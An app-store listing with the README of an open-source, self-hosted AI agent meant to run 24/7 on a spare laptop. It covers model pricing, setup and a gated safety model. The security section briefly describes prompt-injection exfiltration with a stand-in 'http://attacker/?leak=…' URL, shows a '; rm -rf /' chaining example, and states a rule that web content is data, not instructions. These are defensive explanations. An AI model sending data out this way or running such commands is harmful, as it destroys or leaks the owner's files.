Skip to content
publik.
Browse appsAppsPricing
+Publish a repoPublish
Browse appsHow it worksPublish a repoGet helpPricingDevelopersGitHubPrivacy
© 2026 Publik
← All apps

247Intern

Self hosted employee on old laptop/pc

AI: local or online

not yet reviewed by publik. It is live now; the founder has not reviewed this version yet.

by @lukashouthoofd

2

247Intern

open source · on publik

On your phone?

You install 247Intern from a computer. Send yourself the link and open it there.

Vote on 247Intern
1
Read the install guide→Open in GitHub↗

Compared with

A

A lot of slop larp, the edge is self hosted at home

Paid

Make this yours→Fork 247Intern, change it, publish your version. About 30 minutes. No experience needed.

Having trouble? Tell us

Where 247Intern’s AI runs, and what it costs

Prices are for one typical use: one request of about 1,500 words sent and 375 words back. A higher quality score is better.

On your computer

Price
Free per use. Your computer does the work.
Runs with
Ollama
Memory
Llama 3.1 8B is a 4.9 GB download at 4-bit. gpt-oss 20B runs on systems with as little as 16GB memory. Faster with Apple silicon or a graphics card.
Quality
Llama 3.1 8B: 7

publik API

Price
$0.0100 per use, $10.00 per 1,000 usespublik-balanced, the default level
Quality
MiMo-V2.6-Pro: 46
Setup
Not built into 247Intern yet. A publik API key works wherever 247Intern takes an OpenAI-compatible address.

Your own key

Price
$0.0013 per use, $1.31 per 1,000 usesMiMo-V2.6-Pro at OpenRouter’s list price, before its fee for buying usage
Quality
MiMo-V2.6-Pro: 46
Setup
Open a provider account, add a card, paste the key into 247Intern.

Quality and price, side by side

Quality score and cost per 1,000 typical uses for local models and the three publik API levels
ModelQualityPer 1,000 uses
On your computer (Ollama, 4-bit download size)
Granite 4.2 3B2.2 GB9$0
Phi-4 Mini2.5 GB6$0
Llama 3.1 8B4.9 GB7$0
gpt-oss 20B14 GB9$0
Gemma 4 31B20 GB19*$0
Qwen3.5 35B-A3B24 GB19*$0
publik API
publik-fastGLM-5.3 Flash42$1.00
publik-balancedMiMo-V2.6-Pro · 247Intern46$10.00
publik-smartGPT-6 Sol48$18.00

Quality: Artificial Analysis Intelligence Index v4.3.2, read 2026-09-22 (publik API models 2026-09-25); * = estimated by Artificial Analysis. Sizes: the Ollama library, read 2026-09-22.

What you pay for

  • On your computer: nothing per use. You pay in disk space, memory and electricity, at lower quality.
  • publik API: publik’s published price for each use, in dollars, from your publik balance. It is above the model’s cost; the difference runs publik and pays the app’s builder.
  • Your own key: the provider’s price, billed to an account you keep with the provider.
See plans and prices →How publik API pricing works →

How to install 247Intern

Every step written out. No terminal experience needed. Pick your setup.

  • How to install 247Intern on Mac →
  • How to install 247Intern on Windows →

README

Open in GitHub ↗

Your free, private, 24/7 intern

tests

Turn an old laptop into a free AI intern you fully own — self-hosted, private, always on. Clone this repo onto a spare Debian/Ubuntu machine, run the installer, answer a few questions, and you have an agent that works around the clock, talks to you over chat, uses real tools to do real work — and never makes an outward move without your say-so.

It's model-agnostic: pick your brain in one config line — free Google Gemini, your Claude subscription (claude -p), OpenAI, Groq, OpenRouter, Mistral, or a fully-local Ollama model. Swap any time, no code changes.

This box becomes the agent. It is not meant for your daily-driver laptop — it's for a machine you can leave on: an old laptop, an old desktop or gaming PC, or a cheap mini-PC.


What you need

A dedicated machine (the whole point — it runs 24/7 so your main computer doesn't have to):

  • An old laptop (bonus: built-in battery = free UPS, built-in screen for the first boot), an old desktop / gaming PC, or a mini-PC (Intel NUC, etc.).
  • 2 cores + 4 GB RAM is enough for a cloud brain (Gemini/Claude/OpenAI). For a local Ollama brain you want 8 GB+ and ideally a GPU — otherwise it's slow.
  • A small SSD (24/7 on a mechanical disk wears out). 20 GB free is plenty.
  • Debian 12/13 or Ubuntu, installed headless or minimal. Terminal only — no desktop needed.
  • A network connection. (Old laptops: take the battery out if it's swollen; pop a fresh SSD in.)

A brain (model). Cheapest start is Gemini's free tier (no card). If you already pay for Claude, use claude-code and spend nothing extra. Want fully offline + free? Ollama, local.


How it behaves (the safety model)

The agent does GREEN work freely, asks before anything outward, and flat-out refuses a short red-line list — enforced in code (agent/loop.py), not left to the model's goodwill:

  • autonomous: read, research, measure, gather data, prepare drafts.
  • ask-first: send a message, submit a form, post, publish, pay → it prepares everything and waits for your approval.
  • never: create accounts, enter passwords/OTP, solve CAPTCHAs, accept terms — even if asked.

Web/email content is treated as data, never instructions (prompt-injection defense). Only you, through the chat channel, give it orders.


Security & honest limits

Read SECURITY.md before putting this on an always-on box. The short version:

  • run_shell ships OFF. The shell tool is opt-in (tools.run_shell.enabled: true); by default the agent has no way to run commands. When enabled it is ask_first and runs an argv list (no shell, so ; rm -rf / can't chain). write_file is jailed to the working dir. The real safety net is still the OS — run the agent as a non-sudo user and keep the systemd hardening in docs/SETUP.md. Do not loosen the gates.
  • web_fetch is gated by default (anti-exfiltration). A fetched URL can carry data off the box, so web_fetch is ask_first — a hijacked model can't read a local file/memory/inbox and leak it in http://attacker/?leak=… without you seeing and denying the approval. read_file is jailed to the working dir + refuses secret files. Set tools.web_fetch.autonomous: true for hands-free web research (re-opens the channel).
  • The chat channel is fail-closed. An empty Telegram allowed_users rejects everyone; only allow-listed users can talk to the bot or approve an ask_first action.
  • Prompt injection is mitigated, not solved. Web/email content is treated as data, not instructions — but that is a mitigation, not a guarantee. The autonomous / ask-first / never gates are what actually cap the blast radius if the model is ever steered.
  • Model reality. A cloud model (free Gemini) is the reliable daily driver. Small local Ollama models are a privacy/offline fallback — they fumble long tool chains.
  • Keys + spend cap. Keys live in .env (chmod 600), never in git. Set a spend cap in your provider's console and the built-in agent.daily_call_cap / agent.daily_usd_cap. The daily_call_cap is the real runaway guard for token-only providers (e.g. Gemini) that don't report a per-call cost. Verify a provider with python -m agent selftest.
  • The never-list: create account, enter credentials/OTP, solve CAPTCHA, accept terms — refused (no tool ships for them + the behavior contract refuses). Outward actions it can do (send, post) are ask_first — approved, not auto-refused. Details in SECURITY.md.

Run it 24/7

For an always-on box, run the gateway + scheduled jobs as services. See systemd/ for unit templates and docs/SETUP.md for the dedicated-box setup (auto-start on power, unattended security updates, a non-sudo agent user, backups).


What's inside

agent/         the runtime — model-agnostic LLM client, the gated tool-loop, tools, CLI, setup wizard
identity/      SOUL.md (behavior contract, injected every turn) + USER.md (who it serves — you fill it)
config.example.yaml   pick-your-brain config (copy to config.yaml; setup does this)
install.sh     dedicated-Debian-box installer
systemd/       unit template for 24/7
docs/          SETUP.md — fresh Debian -> always-on walkthrough

Design principles it's built on: cheapest-model-that-works routing; deterministic tools over model calls (a measured fact beats a guessed one — and can't hallucinate); pre-computed digests instead of live multi-call turns; human-in-the-loop on every outward action; and a clean OS-level isolation story (run it as a non-sudo user on a box you treat as disposable).


Privacy

No API keys live in this repo — they go in .env (git-ignored, chmod 600). Keep identity/USER.md free of anything you wouldn't put in a public repo. The agent's memory and data stay local on the box.

MIT licensed.